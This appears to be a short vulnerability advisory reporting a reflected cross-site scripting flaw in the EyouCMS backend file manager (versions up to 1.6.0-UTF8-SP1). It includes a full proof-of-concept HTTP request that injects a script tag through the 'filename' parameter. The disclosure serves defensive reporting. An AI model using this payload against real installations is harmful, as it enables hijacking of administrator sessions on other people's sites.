Description

Backend file management editor with reflected-XSS in the GET value filename.

Affected Version

EyouCMS <= 1.6.0-UTF8-SP1

POC

GET /cms/eyoucms/login.php?m=admin&c=Filemanager&a=edit&filename=li|"><script>alert(1)</script><!--sts_media.htm&activepath=%3Atemplate%3Amobile&lang=cn HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/cms/eyoucms/login.php?m=admin&c=Filemanager&a=index&activepath=%3Atemplate%3Amobile&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=lmqk1pcmj5egvt269qo4ijgg82; admin_lang=cn; home_lang=cn; referurl=http%3A%2F%2F127.0.0.1%2fcms%2Feyoucms%2Findex.php%3Fm%3Duser%26c%3DPay%26a%3Dpay_consumer_details; users_id=1; ENV_IS_UPHTML=0; ENV_LIST_URL=%2Feyoucms%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_draft%26lang%3Dcn; ENV_GOBACK_URL=%2Feyoucms%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_draft%26lang%3Dcn%26keywords%3Dfvg; workspaceParam=switch_map%7CIndex

Reference

Reported by Srpopty, vulnerability discovered by using Corax.